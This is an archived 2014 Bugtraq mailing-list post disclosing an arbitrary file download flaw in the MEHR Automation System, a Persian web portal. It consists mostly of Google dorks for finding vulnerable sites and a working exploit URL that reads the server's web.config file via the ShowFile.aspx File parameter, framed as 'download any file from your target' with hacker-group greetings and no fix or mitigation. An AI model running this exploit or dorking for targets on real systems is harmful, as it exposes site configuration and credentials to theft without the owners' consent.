bugtraq - MEHR Automation System Arbitrary File Download Vulnerability(persian portal)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201408251643.s7PGh7ux024474@sf01web3.securityfocus.com>
Date: Mon, 25 Aug 2014 16:43:07 GMT
From: cseye_ut@...oo.com
To: bugtraq@...urityfocus.com
Subject: MEHR Automation System Arbitrary File Download Vulnerability(persian
 portal)

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Title : MEHR Automation System Arbitrary File Download Vulnerability(persian portal)
# Author : alieye
# vendor : http://shakhesrayane.ir/
# Contact : cseye_ut@...oo.com
# Risk : High
# Class: Remote
#
# Google Dork: 
# intext:"Poshtibani@...khesRayane.ir"
# intext:"Shakhes Rayane Sepahan"
# www.google.com/search?q=%22%D8%B3%DB%8C%D8%B3%D8%AA%D9%85+%D8%A7%D8%AA%D9%88%D9%85%D8%A7%D8%B3%DB%8C%D9%88%D9%86+%D8%A7%D8%AF%D8%A7%D8%B1%DB%8C+%D9%85%D9%87%D8%B1+%D8%AF%D8%A7%D9%86%D8%B4%22
#
# Version: all version
# Date: 25/08/2014
# os : windows server 2008
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++



You can download any file from your target ;)


Exploit : http://victim.com/ShowFile.aspx?File=~/web.config

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[#] Spt Tnx To ZOD14C , 4l130h1 , bully13 , andelos , 3.14nnph , f4rm4nd3 and all cseye members
[#] Thanks To All Iranian Hackers
[#] website : http://cseye.vcp.ir/
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++